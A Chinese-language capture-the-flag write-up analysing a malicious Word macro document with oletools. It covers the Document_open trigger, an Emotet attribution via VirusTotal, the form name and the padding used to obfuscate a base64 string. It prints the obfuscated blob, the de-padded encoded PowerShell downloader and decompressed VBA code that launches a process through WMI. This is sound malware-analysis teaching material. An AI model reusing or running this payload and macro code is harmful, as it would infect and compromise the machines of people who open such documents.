6fqAyAHQA2342772g3&\*gs7712ffvs626fqMABqAG2342772g3&\*gs7712ffvs626fqoAaABt2342772g3&\*gs7712ffvs626fqAHYANw2342772g3&\*gs7712ffvs626fqB0AGEA2342772g3&\*gs7712ffvs626fqawB3AH2342772g3&\*gs7712ffvs626fqYAaQBz2342772g3&\*gs7712ffvs626fqAGYAbg2342772g3&\*gs7712ffvs626fqB6AF8A2342772g3&\*gs7712ffvs626fqZQBlAG2342772g3&\*gs7712ffvs626fqoAdgBm2342772g3&\*gs7712ffvs626fqAF8AaA2342772g3&\*gs7712ffvs626fqA2AHYA2342772g3&\*gs7712ffvs626fqMgBpAH2342772g3&\*gs7712ffvs626fqgALwAq2342772g3&\*gs7712ffvs626fqAGgAdA2342772g3&\*gs7712ffvs626fqB0AHAA2342772g3&\*gs7712ffvs626fqOgAvAC2342772g3&\*gs7712ffvs626fq8AaABv2342772g3&\*gs7712ffvs626fqAGwAZg2342772g3&\*gs7712ffvs626fqB2AGUA2342772g3&\*gs7712ffvs626fqLgBzAG2342772g3&\*gs7712ffvs626fqUALwBp2342772g3&\*gs7712ffvs626fqAG0AYQ2342772g3&\*gs7712ffvs626fqBnAGUA2342772g3&\*gs7712ffvs626fqcwAvAD2342772g3&\*gs7712ffvs626fqEAYwBr2342772g3&\*gs7712ffvs626fqAHcANQ2342772g3&\*gs7712ffvs626fqBtAGoA2342772g3&\*gs7712ffvs626fqNAA5AH2342772g3&\*gs7712ffvs626fqcAXwAy2342772g3&\*gs7712ffvs626fqAGsAMQ2342772g3&\*gs7712ffvs626fqAxAHAA2342772g3&\*gs7712ffvs626fqeABfAG2342772g3&\*gs7712ffvs626fqQALwAq2342772g3&\*gs7712ffvs626fqAGgAdA2342772g3&\*gs7712ffvs626fqB0AHAA2342772g3&\*gs7712ffvs626fqOgAvAC2342772g3&\*gs7712ffvs626fq8AdwB32342772g3&\*gs7712ffvs626fqAHcALg2342772g3&\*gs7712ffvs626fqBjAGYA2342772g3&\*gs7712ffvs626fqbQAuAG2342772g3&\*gs7712ffvs626fq4AbAAv2342772g3&\*gs7712ffvs626fqAF8AYg2342772g3&\*gs7712ffvs626fqBhAGMA2342772g3&\*gs7712ffvs626fqawB1AH2342772g3&\*gs7712ffvs626fqAALwB52342772g3&\*gs7712ffvs626fqAGYAaA2342772g3&\*gs7712ffvs626fqByAG0A2342772g3&\*gs7712ffvs626fqaAA2AH2342772g3&\*gs7712ffvs626fqUAMABo2342772g3&\*gs7712ffvs626fqAGUAaQ2342772g3&\*gs7712ffvs626fqBkAG4A2342772g3&\*gs7712ffvs626fqdwByAH2342772g3&\*gs7712ffvs626fqUAdwBo2342772g3&\*gs7712ffvs626fqAGEAMg2342772g3&\*gs7712ffvs626fqB0ADQA2342772g3&\*gs7712ffvs626fqbQBqAH2342772g3&\*gs7712ffvs626fqoANgBw2342772g3&\*gs7712ffvs626fqAF8AeQ2342772g3&\*gs7712ffvs626fqB4AGgA2342772g3&\*gs7712ffvs626fqeQB1AD2342772g3&\*gs7712ffvs626fqMAOQAw2342772g3&\*gs7712ffvs626fqAGkANg2342772g3&\*gs7712ffvs626fqBfAHEA2342772g3&\*gs7712ffvs626fqOQAzAG2342772g3&\*gs7712ffvs626fqgAawBo2342772g3&\*gs7712ffvs626fqADMAZA2342772g3&\*gs7712ffvs626fqBkAG0A2342772g3&\*gs7712ffvs626fqLwAnAC2342772g3&\*gs7712ffvs626fq4AIgBz2342772g3&\*gs7712ffvs626fqAGAAUA2342772g3&\*gs7712ffvs626fqBsAGkA2342772g3&\*gs7712ffvs626fqVAAiAC2342772g3&\*gs7712ffvs626fqgAWwBj2342772g3&\*gs7712ffvs626fqAGgAYQ2342772g3&\*gs7712ffvs626fqByAF0A2342772g3&\*gs7712ffvs626fqNAAyAC2342772g3&\*gs7712ffvs626fqkAOwAk2342772g3&\*gs7712ffvs626fqAHMAZQ2342772g3&\*gs7712ffvs626fqBjAGMA2342772g3&\*gs7712ffvs626fqaQBlAH2342772g3&\*gs7712ffvs626fqIAZABl2342772g3&\*gs7712ffvs626fqAGUAdA2342772g3&\*gs7712ffvs626fqBoAD0A2342772g3&\*gs7712ffvs626fqJwBkAH2342772g3&\*gs7712ffvs626fqUAdQB62342772g3&\*gs7712ffvs626fqAHkAZQ2342772g3&\*gs7712ffvs626fqBhAHcA2342772g3&\*gs7712ffvs626fqcAB1AG2342772g3&\*gs7712ffvs626fqEAcQB12342772g3&\*gs7712ffvs626fqACcAOw2342772g3&\*gs7712ffvs626fqBmAG8A2342772g3&\*gs7712ffvs626fqcgBlAG2342772g3&\*gs7712ffvs626fqEAYwBo2342772g3&\*gs7712ffvs626fqACgAJA2342772g3&\*gs7712ffvs626fqBnAGUA2342772g3&\*gs7712ffvs626fqZQByAH2342772g3&\*gs7712ffvs626fqMAaQBl2342772g3&\*gs7712ffvs626fqAGIAIA2342772g3&\*gs7712ffvs626fqBpAG4A2342772g3&\*gs7712ffvs626fqIAAkAG2342772g3&\*gs7712ffvs626fqoAYQBj2342772g3&\*gs7712ffvs626fqAGwAZQ2342772g3&\*gs7712ffvs626fqBlAHcA2342772g3&\*gs7712ffvs626fqeQBpAH2342772g3&\*gs7712ffvs626fqEAdQAp2342772g3&\*gs7712ffvs626fqAHsAdA2342772g3&\*gs7712ffvs626fqByAHkA2342772g3&\*gs7712ffvs626fqewAkAH2342772g3&\*gs7712ffvs626fqIAZQB12342772g3&\*gs7712ffvs626fqAHMAdA2342772g3&\*gs7712ffvs626fqBoAG8A2342772g3&\*gs7712ffvs626fqYQBzAC2342772g3&\*gs7712ffvs626fq4AIgBk2342772g3&\*gs7712ffvs626fqAE8AVw2342772g3&\*gs7712ffvs626fqBOAGAA2342772g3&\*gs7712ffvs626fqbABvAE2342772g3&\*gs7712ffvs626fqEAYABk2342772g3&\*gs7712ffvs626fqAGYAaQ2342772g3&\*gs7712ffvs626fqBgAEwA2342772g3&\*gs7712ffvs626fqZQAiAC2342772g3&\*gs7712ffvs626fqgAJABn2342772g3&\*gs7712ffvs626fqAGUAZQ2342772g3&\*gs7712ffvs626fqByAHMA2342772g3&\*gs7712ffvs626fqaQBlAG2342772g3&\*gs7712ffvs626fqIALAAg2342772g3&\*gs7712ffvs626fqACQAdA2342772g3&\*gs7712ffvs626fqBvAGUA2342772g3&\*gs7712ffvs626fqaABmAG2342772g3&\*gs7712ffvs626fqUAdABo2342772g3&\*gs7712ffvs626fqAHgAbw2342772g3&\*gs7712ffvs626fqBoAGIA2342772g3&\*gs7712ffvs626fqYQBlAH2342772g3&\*gs7712ffvs626fqkAKQA72342772g3&\*gs7712ffvs626fqACQAYg2342772g3&\*gs7712ffvs626fqB1AGgA2342772g3&\*gs7712ffvs626fqeABlAH2342772g3&\*gs7712ffvs626fqUAaAA92342772g3&\*gs7712ffvs626fqACcAZA2342772g3&\*gs7712ffvs626fqBvAGUA2342772g3&\*gs7712ffvs626fqeQBkAG2342772g3&\*gs7712ffvs626fqUAaQBk2342772g3&\*gs7712ffvs626fqAHEAdQ2342772g3&\*gs7712ffvs626fqBhAGkA2342772g3&\*gs7712ffvs626fqagBsAG2342772g3&\*gs7712ffvs626fqUAdQBj2342772g3&\*gs7712ffvs626fqACcAOw2342772g3&\*gs7712ffvs626fqBJAGYA2342772g3&\*gs7712ffvs626fqIAAoAC2342772g3&\*gs7712ffvs626fqgALgAo2342772g3&\*gs7712ffvs626fqACcARw2342772g3&\*gs7712ffvs626fqBlAHQA2342772g3&\*gs7712ffvs626fqLQAnAC2342772g3&\*gs7712ffvs626fqsAJwBJ2342772g3&\*gs7712ffvs626fqAHQAZQ2342772g3&\*gs7712ffvs626fqAnACsA2342772g3&\*gs7712ffvs626fqJwBtAC2342772g3&\*gs7712ffvs626fqcAKQAg2342772g3&\*gs7712ffvs626fqACQAdA2342772g3&\*gs7712ffvs626fqBvAGUA2342772g3&\*gs7712ffvs626fqaABmAG2342772g3&\*gs7712ffvs626fqUAdABo2342772g3&\*gs7712ffvs626fqAHgAbw2342772g3&\*gs7712ffvs626fqBoAGIA2342772g3&\*gs7712ffvs626fqYQBlAH2342772g3&\*gs7712ffvs626fqkAKQAu2342772g3&\*gs7712ffvs626fqACIAbA2342772g3&\*gs7712ffvs626fqBgAGUA2342772g3&\*gs7712ffvs626fqTgBHAF2342772g3&\*gs7712ffvs626fqQASAAi2342772g3&\*gs7712ffvs626fqACAALQ2342772g3&\*gs7712ffvs626fqBnAGUA2342772g3&\*gs7712ffvs626fqIAAyAD2342772g3&\*gs7712ffvs626fqQANwA12342772g3&\*gs7712ffvs626fqADEAKQ2342772g3&\*gs7712ffvs626fqAgAHsA2342772g3&\*gs7712ffvs626fqKABbAH2342772g3&\*gs7712ffvs626fqcAbQBp2342772g3&\*gs7712ffvs626fqAGMAbA2342772g3&\*gs7712ffvs626fqBhAHMA2342772g3&\*gs7712ffvs626fqcwBdAC2342772g3&\*gs7712ffvs626fqcAdwBp2342772g3&\*gs7712ffvs626fqAG4AMw2342772g3&\*gs7712ffvs626fqAyAF8A2342772g3&\*gs7712ffvs626fqUAByAG2342772g3&\*gs7712ffvs626fq8AYwBl2342772g3&\*gs7712ffvs626fqAHMAcw2342772g3&\*gs7712ffvs626fqAnACkA2342772g3&\*gs7712ffvs626fqLgAiAE2342772g3&\*gs7712ffvs626fqMAYABS2342772g3&\*gs7712ffvs626fqAGUAYQ2342772g3&\*gs7712ffvs626fqBUAGUA2342772g3&\*gs7712ffvs626fqIgAoAC2342772g3&\*gs7712ffvs626fqQAdABv2342772g3&\*gs7712ffvs626fqAGUAaA2342772g3&\*gs7712ffvs626fqBmAGUA2342772g3&\*gs7712ffvs626fqdABoAH2342772g3&\*gs7712ffvs626fqgAbwBo2342772g3&\*gs7712ffvs626fqAGIAYQ2342772g3&\*gs7712ffvs626fqBlAHkA2342772g3&\*gs7712ffvs626fqKQA7AC2342772g3&\*gs7712ffvs626fqQAcQB12342772g3&\*gs7712ffvs626fqAG8Abw2342772g3&\*gs7712ffvs626fqBkAHQA2342772g3&\*gs7712ffvs626fqZQBlAG2342772g3&\*gs7712ffvs626fqgAPQAn2342772g3&\*gs7712ffvs626fqAGoAaQ2342772g3&\*gs7712ffvs626fqBhAGYA2342772g3&\*gs7712ffvs626fqcgB1AH2342772g3&\*gs7712ffvs626fqUAegBs2342772g3&\*gs7712ffvs626fqAGEAbw2342772g3&\*gs7712ffvs626fqBsAHQA2342772g3&\*gs7712ffvs626fqaABvAG2342772g3&\*gs7712ffvs626fqkAYwAn2342772g3&\*gs7712ffvs626fqADsAYg2342772g3&\*gs7712ffvs626fqByAGUA2342772g3&\*gs7712ffvs626fqYQBrAD2342772g3&\*gs7712ffvs626fqsAJABj2342772g3&\*gs7712ffvs626fqAGgAaQ2342772g3&\*gs7712ffvs626fqBnAGMA2342772g3&\*gs7712ffvs626fqaABpAG2342772g3&\*gs7712ffvs626fqUAbgB02342772g3&\*gs7712ffvs626fqAGUAaQ2342772g3&\*gs7712ffvs626fqBxAHUA2342772g3&\*gs7712ffvs626fqPQAnAH2342772g3&\*gs7712ffvs626fqkAbwBv2342772g3&\*gs7712ffvs626fqAHcAdg2342772g3&\*gs7712ffvs626fqBlAGkA2342772g3&\*gs7712ffvs626fqaABuAG2342772g3&\*gs7712ffvs626fqkAZQBq2342772g3&\*gs7712ffvs626fqACcAfQ2342772g3&\*gs7712ffvs626fqB9AGMA2342772g3&\*gs7712ffvs626fqYQB0AG2342772g3&\*gs7712ffvs626fqMAaAB72342772g3&\*gs7712ffvs626fqAH0AfQ2342772g3&\*gs7712ffvs626fqAkAHQA2342772g3&\*gs7712ffvs626fqbwBpAH2342772g3&\*gs7712ffvs626fqoAbAB12342772g3&\*gs7712ffvs626fqAHUAbA2342772g3&\*gs7712ffvs626fqBmAGkA2342772g3&\*gs7712ffvs626fqZQByAD2342772g3&\*gs7712ffvs626fq0AJwBm2342772g3&\*gs7712ffvs626fqAG8AcQ2342772g3&\*gs7712ffvs626fqB1AGwA2342772g3&\*gs7712ffvs626fqZQB2AG2342772g3&\*gs7712ffvs626fqMAYQBv2342772g3&\*gs7712ffvs626fqAGoAJw2342772g3&\*gs7712ffvs626fqA=
\-------------------------------------------------------------------------------
VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09/o'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
�Tab3
\-------------------------------------------------------------------------------
VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09/o'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
�Tab4
\-------------------------------------------------------------------------------
VBA FORM Variable "b'meetcuac'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'joopxof'
\-------------------------------------------------------------------------------
VBA FORM Variable "b'dechxoz'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'caorfauxleir'
\-------------------------------------------------------------------------------
VBA FORM Variable "b'joefwoefcheaw'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'P'
\-------------------------------------------------------------------------------
VBA FORM Variable "b'teehkaifxoodthiv'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'foewdaibzian'
\-------------------------------------------------------------------------------
VBA FORM Variable "b'paerwagyouqumeid'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
\-------------------------------------------------------------------------------
VBA FORM Variable "b'taowseuvjeip'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
\-------------------------------------------------------------------------------
VBA FORM Variable "b'kaizseah'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
\-------------------------------------------------------------------------------
VBA FORM Variable "b'gegheyhes'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'yoewcheuypouc'
\-------------------------------------------------------------------------------
VBA FORM Variable "b'gaoddaicsauktheb'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
\-------------------------------------------------------------------------------
VBA FORM Variable "b'vuazleelxeep'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'duuhfeupniwboh'
\-------------------------------------------------------------------------------
VBA FORM Variable "None" IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
\-------------------------------------------------------------------------------
VBA FORM Variable "b'Page1'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
\-------------------------------------------------------------------------------
VBA FORM Variable "b'Page2'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Document\_open |Runs when the Word or Publisher document is |
\| | |opened |
|Suspicious|Create |May execute file or a system command through |
\| | |WMI |
|Suspicious|showwindow |May hide the application |
|Suspicious|CreateObject |May create an OLE object |
|Suspicious|Chr |May attempt to obfuscate specific strings |
\| | |(use option --deobf to deobfuscate) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
\| | |used to obfuscate strings (option --decode to|
\| | |see all) |
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
\| | |used to obfuscate strings (option --decode to|
\| | |see all) |
|Hex String|2#Bw |32234277 |
|Hex String|J#Bw |4A234277 |
|Hex String|#Bw |0A234277 |
|Suspicious|VBA Stomping |VBA Stomping was detected: the VBA source |
\| | |code and P-code are different, this may have |
\| | |been used to hide malicious code |
+----------+--------------------+---------------------------------------------+
VBA Stomping detection is experimental: please report any false positive/negative at [https://github.com/decalage2/oletools/issues](https://github.com/decalage2/oletools/issues)

​ 我们要主要到这里:

image-20260821153022664

​ 这里有一个表格样式的东西,该**Document_open**事件(也就是Q2的回答)是一个 VBA 触发器,会在文档打开时自动执行。攻击者通常会利用此功能,在受害者打开文档后立即启动恶意代码。通过利用此事件,恶意宏无需用户执行任何手动操作(例如单击按钮),使其成为一种有效的初始攻击途径。(这个可以,我喜欢,可以试试搞进去我的题目去)

​ 此外,分析结果还突出显示了其他可疑活动,例如使用命令创建对象、操纵字符串或解码 Base64 编码的数据。这些都是 VBA 宏中恶意行为的常见特征。

​ 对于第三问,要进行哈希值的查看,我这边直接就:

Get-FileHash .\sample.bin -Algorithm SHA256

​ 然后就:

image-20260821153837460

​ 然后使用该哈希值查询威胁情报平台(例如VirusTotal),以收集有关文件信誉和潜在威胁的信息。

image-20260821154150555

​ (还蛮好用)

​ 可以通过这个平台查完哈希之后知道这不是什么好东西反正:

image-20260821154349735

​ 这里有一个popular threat label后面展示了Q3想问的那种恶意软件家族,这个家族就是emotet。

​ Q4这里问哪个是负责储存base64的流,这里我们还是要找上面那个我们那个很长很长的分析结果出来:

image-20260821161924034

​ 这个东西是不是很大啊,203G,内存很大这表明它可能包含混淆或编码的内容。那我们就针对这个进行细找:

image-20260821162552316

​ 这里的特殊数据流是很长一串的类base64编码数据。这种编码格式是混淆的有力标志,攻击者经常使用混淆来隐藏其有效载荷或命令。Base64 字符串通常隐藏恶意脚本、URL 或其他敏感指令,必须对其进行解码才能了解恶意软件的意图。

image-20260821162142301

​ 识别出该数据流后,下一步是确定与该数据流关联的数据流编号。oledump该数据流的编号为34

​ Q5这里问我们文件中的一个窗体名称

​ 为了确定文档是否包含用户窗体并识别其名称,我们首先需要了解用户窗体的概念及其作用。在 Microsoft Office 文档中,用户窗体user-form是嵌入在 VBA 宏中的图形界面。它提供了一种与用户交互、收集输入或执行特定功能的方式。恶意攻击者经常利用用户窗体来执行隐藏代码、欺骗用户或传播恶意载荷。

​ 这里的话我们还是用上这个oledump.py,前面也用过,直接回翻就好,这里重点找:

Macros/VBA/

​ 下面的对象。

1
2
3
4
5
6
7
8
9
 8:     12997 'Macros/VBA/_VBA_PROJECT'
9: 2112 'Macros/VBA/__SRP_0'
10: 190 'Macros/VBA/__SRP_1'
11: 532 'Macros/VBA/__SRP_2'
12: 156 'Macros/VBA/__SRP_3'
13: M 1367 'Macros/VBA/diakzouxchouz'
14: 908 'Macros/VBA/dir'
15: M 5705 'Macros/VBA/govwiahtoozfaid'
16: m 1187 'Macros/VBA/roubhaol'

​ 前面我们也提取过了一次txt文件,我们直接在那个txt找就行:

image-20260821164513392

​ 这个.frm文件呢,通常以.frm文件的形式存储在 VBA 项目中。这些.frm文件定义了用户窗体的布局和功能,包括与其关联的任何属性或事件处理程序。

​ 所以就是肉包了(roubhaol)

​ Q6的话就是问我们: 此文档包含一个经过混淆处理的 base64 编码字符串;用于填充(或混淆)此字符串的值是什么?

​ 相信胆大心细的同志们在当时把这个bin文件分析完之后看见那个好长的base64吧,但是,我们细看的话,其实重复着些什么:

image-20260821164748262

​ 这表明了这里存在混淆的操作,中间反复出现的是:2342772g3&*gs7712ffvs626fq,但是你细看的话你能看见一个玩意,就是这里每次重复的时候中间总是穿插一些个什么。。。我知道这个很难理解,那我直接把这些替换成逗号应该都能看得懂了:

1
�p,o,w,e,r,s,h,eL,L, ,-,e, JABsAG,kAZQBj,AGgAcg,BvAHUA,aAB3AH,UAdwA9,ACcAdg,B1AGEA,YwBkAG,8AdQB2,AGMAaQ,BvAHgA,aABhAG,8AbAAn,ADsAWw,BOAGUA,dAAuAF,MAZQBy,AHYAaQ,BjAGUA,UABvAG,kAbgB0,AE0AYQ,BuAGEA,ZwBlAH,IAXQA6,ADoAIg,BTAEUA,YABjAH,UAUgBp,AFQAeQ,BgAFAA,UgBPAG,AAVABv,AEMAYA,BvAGwA,IgAgAD,0AIAAn,AHQAbA,BzADEA,MgAsAC,AAdABs,AHMAMQ,AxACwA,IAB0AG,wAcwAn,ADsAJA,BkAGUA,aQBjAG,gAYgBl,AHUAZA,ByAGUA,aQByAC,AAPQAg,ACcAMw,AzADcA,JwA7AC,QAcQB1,AG8AYQ,BkAGcA,bwBpAG,oAdgBl,AHUAbQ,A9ACcA,ZAB1AH,UAdgBt,AG8AZQ,B6AGgA,YQBpAH,QAZwBv,AGgAJw,A7ACQA,dABvAG,UAaABm,AGUAdA,BoAHgA,bwBoAG,IAYQBl,AHkAPQ,AkAGUA,bgB2AD,oAdQBz,AGUAcg,BwAHIA,bwBmAG,kAbABl,ACsAJw,BcACcA,KwAkAG,QAZQBp,AGMAaA,BiAGUA,dQBkAH,IAZQBp,AHIAKw,AnAC4A,ZQB4AG,UAJwA7,ACQAcw,BpAGUA,bgB0AG,UAZQBk,AD0AJw,BxAHUA,YQBpAG,4AcQB1,AGEAYw,BoAGwA,bwBhAH,oAJwA7,ACQAcg,BlAHUA,cwB0AG,gAbwBh,AHMAPQ,AuACgA,JwBuAC,cAKwAn,AGUAdw,AtAG8A,YgAnAC,sAJwBq,AGUAYw,B0ACcA,KQAgAG,4ARQB0,AC4Adw,BlAEIA,YwBsAE,kAZQBu,AFQAOw,AkAGoA,YQBjAG,wAZQBl,AHcAeQ,BpAHEA,dQA9AC,cAaAB0,AHQAcA,BzADoA,LwAvAG,gAYQBv,AHEAdQ,BuAGsA,bwBuAG,cALgBj,AG8AbQ,AvAGIA,bgAvAH,MAOQB3,ADQAdA,BnAGMA,agBsAF,8AZgA2,ADYANg,A5AHUA,ZwB1AF,8AdwA0,AGIAag,AvACoA,aAB0AH,QAcABz,ADoALw,AvAHcA,dwB3AC,4AdABl,AGMAaA,B0AHIA,YQB2AG,UAbAAu,AGUAdg,BlAG4A,dABzAC,8AaQBu,AGYAbw,ByAG0A,YQB0AG,kAbwBu,AGwALw,A4AGwA,cwBqAG,gAcgBs,ADYAbg,BuAGsA,dwBnAH,kAegBz,AHUAZA,B6AGEA,bQBfAG,gAMwB3,AG4AZw,BfAGEA,NgB2AD,UALwAq,AGgAdA,B0AHAA,OgAvAC,8AZABp,AGcAaQ,B3AGUA,YgBtAG,EAcgBr,AGUAdA,BpAG4A,ZwAuAG,MAbwBt,AC8Adw,BwAC0A,YQBkAG,0AaQBu,AC8ANw,AyAHQA,MABqAG,oAaABt,AHYANw,B0AGEA,awB3AH,YAaQBz,AGYAbg,B6AF8A,ZQBlAG,oAdgBm,AF8AaA,A2AHYA,MgBpAH,gALwAq,AGgAdA,B0AHAA,OgAvAC,8AaABv,AGwAZg,B2AGUA,LgBzAG,UALwBp,AG0AYQ,BnAGUA,cwAvAD,EAYwBr,AHcANQ,BtAGoA,NAA5AH,cAXwAy,AGsAMQ,AxAHAA,eABfAG,QALwAq,AGgAdA,B0AHAA,OgAvAC,8AdwB3,AHcALg,BjAGYA,bQAuAG,4AbAAv,AF8AYg,BhAGMA,awB1AH,AALwB5,AGYAaA,ByAG0A,aAA2AH,UAMABo,AGUAaQ,BkAG4A,dwByAH,UAdwBo,AGEAMg,B0ADQA,bQBqAH,oANgBw,AF8AeQ,B4AGgA,eQB1AD,MAOQAw,AGkANg,BfAHEA,OQAzAG,gAawBo,ADMAZA,BkAG0A,LwAnAC,4AIgBz,AGAAUA,BsAGkA,VAAiAC,gAWwBj,AGgAYQ,ByAF0A,NAAyAC,kAOwAk,AHMAZQ,BjAGMA,aQBlAH,IAZABl,AGUAdA,BoAD0A,JwBkAH,UAdQB6,AHkAZQ,BhAHcA,cAB1AG,EAcQB1,ACcAOw,BmAG8A,cgBlAG,EAYwBo,ACgAJA,BnAGUA,ZQByAH,MAaQBl,AGIAIA,BpAG4A,IAAkAG,oAYQBj,AGwAZQ,BlAHcA,eQBpAH,EAdQAp,AHsAdA,ByAHkA,ewAkAH,IAZQB1,AHMAdA,BoAG8A,YQBzAC,4AIgBk,AE8AVw,BOAGAA,bABvAE,EAYABk,AGYAaQ,BgAEwA,ZQAiAC,gAJABn,AGUAZQ,ByAHMA,aQBlAG,IALAAg,ACQAdA,BvAGUA,aABmAG,UAdABo,AHgAbw,BoAGIA,YQBlAH,kAKQA7,ACQAYg,B1AGgA,eABlAH,UAaAA9,ACcAZA,BvAGUA,eQBkAG,UAaQBk,AHEAdQ,BhAGkA,agBsAG,UAdQBj,ACcAOw,BJAGYA,IAAoAC,gALgAo,ACcARw,BlAHQA,LQAnAC,sAJwBJ,AHQAZQ,AnACsA,JwBtAC,cAKQAg,ACQAdA,BvAGUA,aABmAG,UAdABo,AHgAbw,BoAGIA,YQBlAH,kAKQAu,ACIAbA,BgAGUA,TgBHAF,QASAAi,ACAALQ,BnAGUA,IAAyAD,QANwA1,ADEAKQ,AgAHsA,KABbAH,cAbQBp,AGMAbA,BhAHMA,cwBdAC,cAdwBp,AG4AMw,AyAF8A,UAByAG,8AYwBl,AHMAcw,AnACkA,LgAiAE,MAYABS,AGUAYQ,BUAGUA,IgAoAC,QAdABv,AGUAaA,BmAGUA,dABoAH,gAbwBo,AGIAYQ,BlAHkA,KQA7AC,QAcQB1,AG8Abw,BkAHQA,ZQBlAG,gAPQAn,AGoAaQ,BhAGYA,cgB1AH,UAegBs,AGEAbw,BsAHQA,aABvAG,kAYwAn,ADsAYg,ByAGUA,YQBrAD,sAJABj,AGgAaQ,BnAGMA,aABpAG,UAbgB0,AGUAaQ,BxAHUA,PQAnAH,kAbwBv,AHcAdg,BlAGkA,aABuAG,kAZQBq,ACcAfQ,B9AGMA,YQB0AG,MAaAB7,AH0AfQ,AkAHQA,bwBpAH,oAbAB1,AHUAbA,BmAGkA,ZQByAD,0AJwBm,AG8AcQ,B1AGwA,ZQB2AG,MAYQBv,AGoAJw,A=

​ 如此美的Base64(又学到一个混淆小知识~)

​ 所以接下来我尝试提取其中损坏或异常的 VBA 宏代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
PS D:\programCTF\malware\51-maldoc101\temp_extract_dir\MalDoc101> python3 oledump.py -s 15 --vbadecompresscorrupt sample.bin
Attribute VB_Name = "govwiahtoozfaid"
Function boaxvoebxiotqueb()
gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))
Dim c7�ATOQe2�j As Integer
c7�ATOQe2�j = 6
Do While c7�ATOQe2�j < 6 + 2
c7�ATOQe2�j = c7�ATOQe2�j + 5: DoEvents
Loop
haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + gooykadheoj + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"
Dim t0�7�VhC As String
t0�7�VhC = Replace$("NrsGblssw", "NrsGbl", "jeSyf")
deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)
Dim aboKTWBmOV As Variant
Set tiajriokchaoy = CreateObject(deulsaocthuul)
Dim Li2�J8�fUTJJ As Boolean
deaknaugthein = roubhaol.kaizseah.ControlTipText
Dim Wmuaj As String
Wmuaj = Replace$("LqdFaWZRoPXoybkSqY", "LqdFaWZRoP", "nIEI6�")
giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein
Dim lgiLh7� As Object
queegthaen = giakfeiw + roubhaol.joefwoefcheaw
Dim FZV4�KPQ As Integer
FZV4�KPQ = 4
Do While FZV4�KPQ < 4 + 5
FZV4�KPQ = FZV4�KPQ + 3: DoEvents
Loop
Set deavjoajsear = luumlaud(queegthaen)
Dim kRpYwyW As String
kRpYwyW = Replace$("f4�L5�JqZNvlk", "f4�L5�J", "TFRkfTygd")
xve = Array _
("1234444123", tiajriokchaoy. _
Create(geulgelquuuj, kaenhaig, deavjoajsear), "9938723")
Dim C0�jVh As Integer
C0�jVh = 9
Do While C0�jVh < 9 + 1
C0�jVh = C0�jVh + 1: DoEvents
Loop
End Function
Function juuvzouchmiopxeox(yiajthoavheiw)
geutyoeytiestheug = yiajthoavheiw
Dim QSuRcu As Currency
feaxgeip = Split(geutyoeytiestheug, "2342772g3&*gs7712ffvs626fq")
Dim J1�8�XwEwAd As String
J1�8�XwEwAd = Replace$("UBZIWrn7�JAPVmt", "UBZI", "hsvq")
